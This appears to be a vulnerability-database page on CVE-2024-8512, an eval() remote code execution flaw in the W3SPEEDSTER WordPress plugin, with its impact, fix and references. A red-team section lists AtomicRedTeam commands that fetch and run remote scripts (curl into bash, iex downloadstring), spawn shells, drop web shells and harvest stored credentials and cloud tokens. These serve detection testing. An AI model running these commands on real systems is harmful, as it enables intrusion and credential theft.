CVE-2024-8512
Overview
This vulnerability is a Remote Code Execution (RCE) flaw caused by unsafe use of the eval() function within the W3SPEEDSTER WordPress plugin. Specifically, the plugin's hookBeforeStartOptimization() function processes the 'script' parameter without proper input validation or sanitization, allowing execution of arbitrary code. The affected component is the W3SPEEDSTER plugin up to version 7.26, where user-supplied input is directly evaluated, leading to code injection.
Vulnerability Description
The W3SPEEDSTER plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 7.26 via the 'script' parameter of the hookBeforeStartOptimization() function. This is due to the plugin passing user supplied input to eval(). This makes it possible for authenticated attackers, with Administrator-level access and above, to execute code on the server.
Impact
An attacker with Administrator-level WordPress access can execute arbitrary PHP code on the server hosting the W3SPEEDSTER plugin, potentially leading to full system compromise, data theft, or service disruption. The vulnerability requires authentication with high privileges (PR:H) but no user interaction beyond crafted input submission. Given the network attack vector (AV:N) and low attack complexity (AC:L), this flaw enables critical impact including confidentiality, integrity, and availability breaches as reflected in the CVSS vector.
Solution
Upgrade the W3SPEEDSTER WordPress plugin to version 7.27 or later, where the eval() usage in the hookBeforeStartOptimization() function has been removed or properly sanitized. Detailed patch information and source code changes are documented in the official WordPress plugin repository at changeset 3175640. Refer to the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/2a56eb63-ba5c-4452-8ab9-f5aeaf53adda for additional guidance on applying this update.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the W3SPEEDSTER plugin for WordPress arises from improper handling of user-supplied input within the hookBeforeStartOptimization() function. Specifically, the plugin utilizes the eval() function to execute code, which is inherently risky when it processes unvalidated input. This design flaw allows authenticated users, particularly those with Administrator-level access, to inject arbitrary PHP code into the server environment. The reliance on eval() without adequate sanitization or validation creates a significant security loophole, enabling attackers to execute malicious scripts that can compromise the integrity and confidentiality of the web application.
Exploitation of this vulnerability can occur through several attack vectors. An authenticated attacker with sufficient privileges can manipulate the 'script' parameter to inject malicious code. For instance, an attacker could craft a request that includes a payload designed to execute harmful commands on the server. Once the code is executed, the attacker could gain unauthorized access to sensitive data, alter website content, or even pivot to other systems within the network. The ability to execute arbitrary code remotely poses a severe threat, as it allows attackers to fully control the affected server, leading to potential data breaches or service disruptions.
The real-world impact of this vulnerability is profound, particularly for organizations relying on the W3SPEEDSTER plugin for performance optimization. The high CVSS score of 9.1 indicates a critical risk level, suggesting that successful exploitation could lead to severe consequences. Businesses may face financial losses due to downtime, data loss, or reputational damage resulting from compromised customer data. Moreover, regulatory repercussions could arise if sensitive information is exposed, leading to potential fines and legal challenges. The combination of these factors underscores the importance of addressing this vulnerability promptly to safeguard organizational assets and maintain customer trust.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and code reviews can help identify and remediate vulnerabilities in plugins and themes. Employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the server. Furthermore, organizations should ensure that all plugins, including W3SPEEDSTER, are kept up to date with the latest security patches. Educating users about the risks of granting excessive permissions and encouraging the principle of least privilege can also reduce the attack surface.
In conclusion, the vulnerability within the W3SPEEDSTER plugin highlights the critical need for secure coding practices, especially in widely used web applications like WordPress. The potential for remote code execution through improper input handling poses significant risks to organizations, necessitating proactive measures to detect and mitigate such vulnerabilities. By fostering a culture of security awareness and implementing robust security strategies, organizations can better protect themselves against the evolving landscape of cyber threats.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-35 | Leverage Executable Code in Non-Executable Files |
41%
|
High | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-8512 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/2a56eb63-ba5c-4452-8ab9-f5aeaf53adda?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/w3speedster-wp/trunk/w3speedster.php#L740 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3175640/ |